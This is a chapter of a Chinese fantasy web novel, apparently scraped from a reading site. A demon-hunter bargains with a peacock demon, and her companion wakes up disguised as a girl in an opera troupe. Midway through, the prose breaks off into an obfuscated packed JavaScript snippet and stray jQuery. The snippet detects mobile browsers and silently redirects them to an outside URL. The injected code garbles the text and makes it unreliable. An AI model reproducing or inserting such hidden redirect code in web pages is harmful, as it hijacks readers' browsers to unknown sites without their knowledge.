一时间,门内外的空气仿佛一起凝滞下来,卷起的砂石枯叶静静悬停在半空中,像是在思考一般。
“怎么,这屋里有什么拦着你吗?”乌途道,她的目光若有似无地看向薛少爷的屋子,轻轻笑了一下,“放心,我保证没事。”
敖暄这才惊觉,原来乌途一早就发现了那道符。
“我怎么信你?”
“嗯……”乌途苦恼似的,沉吟了一会儿才说道,“你只能信我。”
“……”隔着这么远敖暄都能感觉到女妖的无语了。
“怎么说呢,虽然我很不喜欢妖,但是这种男人,我更不怎么看得上。”乌途彬彬有礼地将手往前一伸,“怎么样,敢赌一赌吗?”
这样对峙的场景,敖暄却一点紧张的感觉也没有,他甚至觉得,如果女妖再不识相点进来,她就要失去耐心大开杀戒了。
她说得没错,实力悬殊的情况下,条件怎么谈得看她想怎么谈。
敖暄其实从来没真正见过她动手,可就是这么莫名地坚信了。
大概是女妖也想明白了,只一霎那间风起云涌,站在屋子里的两人头发和衣衫都随着狂风鼓动起来,那些墙上、博古架上附庸风雅的文玩书画一股脑地摔到了地上,又很快被满是戾气的罡风卷成了碎片。
好厉害的妖,敖暄妖力被封,此时与一个普通凡人没有太大差别,他身子随风晃了一下,还没等自己调整,胳膊就被一只纤长而骨节匀称的手牢牢抓住了,乌途的袖袍鼓起,伸手将人拉到了自己身侧。
在她看不见的角落里,敖暄犹豫了许久,还是悄悄地捏住了她袍袖的一角,耳尖染上了一点热意。
“哈哈哈哈哈哈……”从狂风的中央传来了女人的笑声,霎那间风停云止,走出来了一个高挑而妩媚的女子,她长发飘散,全身衣衫流光溢彩,绣着精致而密集的斑纹。她挑眉道,“一个有弱点的人,我和你赌了。”
她的目光看向了乌途身后的人,“你很在意他啊,怎么,他是你的相好?”
“……”敖暄差点被口水给呛了,咳咳咳得天昏地暗起来。
乌途见他动静这么大,反而不说话了,高深莫测地扬了扬眉,“雀鸟成妖吗,难怪爱饶舌得很。”
“哼。你胆子倒是大,比上次那几个没用的废物男人强上一点。”
“废物男人……”乌途手指点了点,想到了床帐里的那张符,了然,“紫霄阁的人拿你也无法。不过你言语之间,很看不上男人嘛?”
“那些男人不过是没进化完全的东西,既然连自己身体都管不了,不如我替他管教管教!”
仿佛被激怒了,瞬息间她的眼睛变为全红,脸上若隐若现出尖喙形态,身后更是展露出本体形态的长翎,灰色银色绿色的羽毛交杂,犹如一把折扇展开。
孔雀开屏,这本是辉煌壮丽的景象,但可怖的是,她根根长翎上缀着的不是花纹,而是一颗又一颗的眼珠子。
看来那位薛少爷失去的双眼已经成为孔雀女身上的饰品了。
敖暄在看到它们的一瞬间,已经下意识闭了眼,但还是晚了,他还是与一颗仍沾着血丝的眼球对上了视线,黑暗光怪陆离地扭曲起来,他抓紧了手里的衣袖,还是不可避免地堕入了那瞳底的最深处。
敖暄失去意识了,要倒在地上的时候被乌途一手揽住了,他面目平静,身上也没有外伤,只是被雀妖的妖术摄了魂,他手上还死死地攥着她的衣袖,晕倒了也没放手。
“还真是情深意切啊,”雀妖的长翎上光华流转,带动着数不清的眼珠子忽明忽暗地闪烁着,她猩红的目光看向仍站立在原地,将怀里的人轻轻放在地上的乌途,捂嘴惊讶,“你竟然完全不受影响吗?”
话音刚落,脖颈处便被猛地桎梏住了,她痛吟了一声,身体被那股巨大的力量带着撞到了墙上,她有些窒息地看向眼前的女人,“怎么,我动了他,你生气了?”
雀妖的脖子很纤细,乌途清楚地知道,只要自己手指一用力,就能捏碎它。两人离得很近,她从雀妖猩红的眸子里看到了自己,她的瞳孔里正从中间辐散出一朵诡丽的纹路,她并非没有受到那些眼睛的影响,但如果她愿意,发作之前杀了她也不过是举手之间。
突起的骨节泛白渐渐收紧,眼看着雀妖面目涨红,青筋暴起,她却忽然松手了。好不容易喘上气的雀妖顿时咳嗽起来,她不敢再肆意妄动,眼前的女人简直像是个比她还要疯的疯子。
“我说过,我很讨厌妖,”乌途道,“但我可以放了你,还会给你你要的东西。”
雀妖嘲讽地笑起来,“你们捉妖师也会这么好心吗?”
乌途勾了勾唇角,眼里却没有笑意,“当然不是白给,你要和我做一个交易。”
她的手托住了雀妖的下巴,垂首在她耳边轻轻说了什么,雀妖的目光落在她身后,眼睛由猩红转为漆黑,她惊奇而妩媚地轻笑了一声,“这倒是个特别的交易。”
“成交。”
乌途松开手,往后退了几步,她眼里的诡丽花纹如同花瓣从瞳孔中间绽放,张牙舞爪地布满了整个眼球,她闭上了眼睛,整个人往后倒去。
-
南客戏班后台。
“小姐,班主已经在催了,您快些换上戏服吧。”一个侍女在扮戏房外头着急地来回走,但又不敢催得太急,里头可是戏班的台柱子文萃,难得才上来唱一出,脾气大得很。
里头的文萃也听到了,她已经扮上了戏装,狭长妩媚的眼波流转,有些不耐烦地啧了一声。这时,坐在她对面的素装女子握住了她的手,带着柔和恬淡的笑。
“文萃,你快去吧,我在这儿等你。”
文萃站了起来,甩了甩袖子,在她面前转了一圈,“好看吗?”
“好看。”女子眉眼弯弯,她眉眼如江南烟雨濛濛,温婉似春雨,她忍着笑站起来,把眼前像个花孔雀一样炫耀的小姑娘往门口推去,“快上台吧,你在台上肯定更美。”
门啪嗒一声打开,门后候着的小侍女眼见人终于出来了,大大松了口气,正要领着往前头走,文萃又忽地转了身,把一直倚在门框上的素衣女子推进了房间里,她看着面前温柔的姑娘,提起了声调,“姝澜,别出扮戏房的门,别乱跑,听见没?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571641|171507||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她见姝澜只是点点头,怕她不在意,也怕她为了听戏在外头瞎跑,声音凶起来,“这里头好人不多,你别不当回事儿,你要是真想听戏,等我回来了,给你一个人唱一曲。”
“好啦好啦,我知道了,”温姝澜余光里看见来叫人的小丫鬟都快要急红脸了,一边哭笑不得一边也一起着急起来,她扣住了门边,“我肯定不乱跑,你快去吧。”
文萃这才放下心来,把门轻轻关上,看着姝澜的笑脸隐没在逐渐合上的门缝里,她的表情才松了下来,转身时换上了另一副与方才的温柔关切截然不同的神色,“走吧。”
她不需要小侍女带路,大步如风地走在了前面,她个子生得比一般女子要高上不少,走路也从不弱柳扶风似的婀娜,小侍女得拎着裙摆小跑才能跟上,她们穿过后台,到了候戏区,文萃正理着自己的衣襟和鬓发,抬眼看到一男一女正带着几个被蒙着脸的姑娘往后台走。
“这是?”文萃的目光扫了过去,气喘吁吁的小侍女顺着她的视线移过去,忙道,“班主着人又从人牙子那里买了几个看着不错的姑娘,说要再养几个角儿呢。”
这事儿再寻常不过,文萃眯眼扫过那几个人,却总觉得这里头有什么奇怪的人似的,她忍不住要再细瞧,侍女已经低声提醒道,“小姐,要上台了。”
台上一锣敲,戏比事大,文萃收回视线,眼睛一闭一睁,上了台。
台下便是一阵喝彩声,到现在侍女才真正松了一口气,她的目光有些迟缓地落在了快要消失的那群姑娘身后,不知是羡慕还是唏嘘。
同她一起进来的姐妹们都已经成了有名的角儿,被锦衣玉食的伺候着,还总有达官贵人捧着珍宝求上一曲,只有她,姿色平平,天赋也庸常,只能做个小丫鬟,被吆五喝六地到处去跑腿伺候。
她郁于胸中的一口气还没吐出来,又被叫去了班主身边,刚一进门,就看见那几个新来的女子齐刷刷地站在班主面前,班主捏着茶杯,目光有一搭没一搭地抬起,落在她们身上。
他的目光向来挑剔,再好的苗子也不会有大情绪,谁知却在瞄到旁边不知哪个女子时,眉头挑起来。下人顿时会意,把那女子牵近了。
敖暄醒过来的时候,就被蒙着眼睛不知道要被带到哪里,他不敢轻举妄动,谁知道等到蒙眼布一摘,就到了一个像是戏班子后台的地方,还要被一个白面无须的男子伸手摸脸!
他还没反应过来什么情况,一个巴掌就下意识地扇了过去,谁知还没碰到他,手腕就被牢牢钳住了,面前的男人两指卡住了他的下巴,让他不得不低头,“女生男相,个子虽高了点,倒也匀称,这份英气却是难得。”他咧了咧嘴,目光狎昵地滑下去,“脾气倒是差得很,无妨,既到了我这里,自有你乖顺的时候。”
听到他这么说,敖暄眉心一跳,目光难以置信地往下瞟,这才发现自己穿的竟是一身女装,头发也梳作了女式的发髻。虽然目前他看不见自己的样子,但是面前人的神色让他感到不妙极了。
这是哪儿,怎么回事,乌途呢?
怎么感觉事情好像正向着一些奇怪的方向发展。